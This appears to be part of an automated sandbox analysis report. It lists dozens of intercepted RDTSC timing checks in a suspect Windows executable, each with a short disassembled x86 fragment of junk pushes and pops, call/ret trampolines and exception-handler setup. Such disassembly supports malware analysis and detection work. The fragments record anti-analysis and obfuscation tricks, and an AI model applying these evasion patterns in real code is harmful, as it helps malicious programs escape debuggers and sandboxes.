Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 486D3A second address: 486D51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F61C0D2D453h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 486D51 second address: 486D55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 487D03 second address: 487D49 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F61C0D2D446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov bx, 5D87h 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F61C0D2D448h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d mov edi, ebx 0x0000002f push 00000000h 0x00000031 mov ebx, dword ptr [ebp+122D372Bh] 0x00000037 push eax 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 486E7F second address: 486E86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 487D49 second address: 487D4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 487D4D second address: 487D73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD0394h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F61C0BD038Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 486E86 second address: 486EF9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F61C0D2D448h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 push dword ptr fs:[00000000h] 0x0000002a or dword ptr [ebp+122D36ABh], eax 0x00000030 xor dword ptr [ebp+122D1C4Ah], edx 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d jmp 00007F61C0D2D455h 0x00000042 mov eax, dword ptr [ebp+122D0935h] 0x00000048 mov di, bx 0x0000004b push FFFFFFFFh 0x0000004d mov dword ptr [ebp+122D2A9Fh], ecx 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 486EF9 second address: 486EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 486EFD second address: 486F01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 487FD2 second address: 487FE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD038Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 486F01 second address: 486F07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 488D0A second address: 488D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61C0BD0394h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F61C0BD038Eh 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007F61C0BD0388h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c mov edi, dword ptr [ebp+122D3938h] 0x00000032 sub dword ptr [ebp+1247A242h], esi 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push edi 0x0000003d call 00007F61C0BD0388h 0x00000042 pop edi 0x00000043 mov dword ptr [esp+04h], edi 0x00000047 add dword ptr [esp+04h], 00000016h 0x0000004f inc edi 0x00000050 push edi 0x00000051 ret 0x00000052 pop edi 0x00000053 ret 0x00000054 cld 0x00000055 push 00000000h 0x00000057 jmp 00007F61C0BD038Eh 0x0000005c push eax 0x0000005d push edi 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 486F07 second address: 486F0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 486F0D second address: 486F11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489C95 second address: 489C9A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 488EFB second address: 488EFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 488EFF second address: 488F05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489D24 second address: 489D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 488F05 second address: 488F0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 488F0B second address: 488FC7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F61C0BD0388h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D370Dh], esi 0x0000002b push dword ptr fs:[00000000h] 0x00000032 mov ebx, 19BD4684h 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e mov ebx, 1C4FDC91h 0x00000043 mov eax, dword ptr [ebp+122D06F9h] 0x00000049 movsx ebx, di 0x0000004c push FFFFFFFFh 0x0000004e push 00000000h 0x00000050 push ecx 0x00000051 call 00007F61C0BD0388h 0x00000056 pop ecx 0x00000057 mov dword ptr [esp+04h], ecx 0x0000005b add dword ptr [esp+04h], 00000018h 0x00000063 inc ecx 0x00000064 push ecx 0x00000065 ret 0x00000066 pop ecx 0x00000067 ret 0x00000068 mov ebx, dword ptr [ebp+122D3B9Ch] 0x0000006e mov dword ptr [ebp+122D2A6Bh], edi 0x00000074 jl 00007F61C0BD0392h 0x0000007a jmp 00007F61C0BD038Ch 0x0000007f nop 0x00000080 jmp 00007F61C0BD0395h 0x00000085 push eax 0x00000086 push eax 0x00000087 push edx 0x00000088 jmp 00007F61C0BD0392h 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48ABBF second address: 48ABC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48ABC3 second address: 48AC0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 movsx edi, dx 0x0000000c push 00000000h 0x0000000e sbb bx, C7D9h 0x00000013 mov ebx, dword ptr [ebp+122D3BB0h] 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edx 0x0000001e call 00007F61C0BD0388h 0x00000023 pop edx 0x00000024 mov dword ptr [esp+04h], edx 0x00000028 add dword ptr [esp+04h], 00000019h 0x00000030 inc edx 0x00000031 push edx 0x00000032 ret 0x00000033 pop edx 0x00000034 ret 0x00000035 push eax 0x00000036 pushad 0x00000037 push esi 0x00000038 push edx 0x00000039 pop edx 0x0000003a pop esi 0x0000003b push eax 0x0000003c push edx 0x0000003d jc 00007F61C0BD0386h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48BB71 second address: 48BB75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48BB75 second address: 48BB79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48AD6D second address: 48AD8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61C0D2D457h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48EBCF second address: 48EBD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48EBD4 second address: 48EBD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48ECA4 second address: 48ECA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 490D47 second address: 490D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 490D52 second address: 490D5F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 490D5F second address: 490D63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491E9A second address: 491EB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F61C0BD0392h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491EB0 second address: 491EB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491EB4 second address: 491F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F61C0BD0399h 0x0000000e nop 0x0000000f call 00007F61C0BD0396h 0x00000014 mov bx, cx 0x00000017 pop ebx 0x00000018 push 00000000h 0x0000001a mov dword ptr [ebp+122D3706h], ecx 0x00000020 push 00000000h 0x00000022 mov di, 160Eh 0x00000026 mov ebx, 1EF33822h 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jp 00007F61C0BD0386h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491F0F second address: 491F15 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48EDF3 second address: 48EDF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48EED0 second address: 48EEDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F61C0D2D446h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48FE37 second address: 48FEBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F61C0BD0388h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 mov ebx, dword ptr [ebp+122D1DB6h] 0x00000029 push dword ptr fs:[00000000h] 0x00000030 mov ebx, dword ptr [ebp+122D2B08h] 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d push 00000000h 0x0000003f push edi 0x00000040 call 00007F61C0BD0388h 0x00000045 pop edi 0x00000046 mov dword ptr [esp+04h], edi 0x0000004a add dword ptr [esp+04h], 00000016h 0x00000052 inc edi 0x00000053 push edi 0x00000054 ret 0x00000055 pop edi 0x00000056 ret 0x00000057 jns 00007F61C0BD038Ch 0x0000005d mov eax, dword ptr [ebp+122D14B1h] 0x00000063 mov dword ptr [ebp+122D3197h], ebx 0x00000069 push FFFFFFFFh 0x0000006b push edi 0x0000006c mov bl, ah 0x0000006e pop edi 0x0000006f nop 0x00000070 push eax 0x00000071 push edx 0x00000072 push ebx 0x00000073 push edi 0x00000074 pop edi 0x00000075 pop ebx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48FEBD second address: 48FEC7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F61C0D2D44Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48FEC7 second address: 48FED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a jp 00007F61C0BD0386h 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48FED8 second address: 48FEDD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49302F second address: 493039 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F61C0BD038Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494130 second address: 494137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D82C second address: 49D834 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D834 second address: 49D83E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F61C0D2D446h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D83E second address: 49D849 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49DC4E second address: 49DC63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61C0D2D450h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49DC63 second address: 49DC92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F61C0BD0394h 0x00000008 js 00007F61C0BD0386h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edx 0x00000012 jng 00007F61C0BD0388h 0x00000018 push eax 0x00000019 push edx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A42AC second address: 4A42B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A42B0 second address: 4A42BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A42BA second address: 4A42C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6B0C second address: 4A6B12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6D9F second address: 2CED46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d popad 0x0000000e xor dword ptr [esp], 0A4EFB98h 0x00000015 cmc 0x00000016 push dword ptr [ebp+122D112Dh] 0x0000001c jmp 00007F61C0D2D450h 0x00000021 call dword ptr [ebp+122D3794h] 0x00000027 pushad 0x00000028 mov dword ptr [ebp+122D2AC6h], ecx 0x0000002e jmp 00007F61C0D2D450h 0x00000033 xor eax, eax 0x00000035 sub dword ptr [ebp+122D2AC6h], ecx 0x0000003b mov edx, dword ptr [esp+28h] 0x0000003f pushad 0x00000040 jmp 00007F61C0D2D44Dh 0x00000045 xor di, 5E79h 0x0000004a popad 0x0000004b js 00007F61C0D2D44Ch 0x00000051 mov dword ptr [ebp+122D2AC6h], ecx 0x00000057 mov dword ptr [ebp+122D3B70h], eax 0x0000005d jmp 00007F61C0D2D450h 0x00000062 mov esi, 0000003Ch 0x00000067 jl 00007F61C0D2D44Ch 0x0000006d mov dword ptr [ebp+122D2AC6h], edx 0x00000073 add esi, dword ptr [esp+24h] 0x00000077 jmp 00007F61C0D2D459h 0x0000007c lodsw 0x0000007e mov dword ptr [ebp+122D36ABh], eax 0x00000084 add eax, dword ptr [esp+24h] 0x00000088 stc 0x00000089 cmc 0x0000008a mov ebx, dword ptr [esp+24h] 0x0000008e sub dword ptr [ebp+122D36ABh], ebx 0x00000094 nop 0x00000095 push eax 0x00000096 push edx 0x00000097 jbe 00007F61C0D2D448h 0x0000009d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43604E second address: 43608F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F61C0BD0393h 0x00000008 pop edx 0x00000009 jp 00007F61C0BD039Eh 0x0000000f jmp 00007F61C0BD0396h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pop edx 0x00000017 pop eax 0x00000018 js 00007F61C0BD03BFh 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43608F second address: 4360BF instructions: 0x00000000 rdtsc 0x00000002 je 00007F61C0D2D446h 0x00000008 jno 00007F61C0D2D446h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F61C0D2D459h 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC781 second address: 4AC78C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ACEA0 second address: 4ACEA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ACEA4 second address: 4ACEC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61C0BD0396h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ACEC0 second address: 4ACEC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ACEC8 second address: 4ACECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ACECC second address: 4ACEE0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F61C0D2D446h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007F61C0D2D460h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD056 second address: 4AD05C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD7F5 second address: 4AD80E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 jmp 00007F61C0D2D44Eh 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD80E second address: 4AD818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD98B second address: 4AD9BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F61C0D2D44Eh 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F61C0D2D44Eh 0x00000013 jng 00007F61C0D2D450h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD9BF second address: 4AD9C4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0001 second address: 4B0024 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push ebx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop ebx 0x0000000f jbe 00007F61C0D2D44Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B481B second address: 4B4823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4823 second address: 4B482C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B482C second address: 4B4831 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4831 second address: 4B4837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4837 second address: 4B484C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F61C0BD038Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B36BC second address: 4B36C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48302C second address: 461360 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD038Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F61C0BD0388h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 jmp 00007F61C0BD0392h 0x0000002c push eax 0x0000002d mov ecx, 24C7759Dh 0x00000032 pop edx 0x00000033 call dword ptr [ebp+122D1E10h] 0x00000039 push ebx 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48312E second address: 483132 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48326F second address: 483279 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F61C0BD038Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483620 second address: 483624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
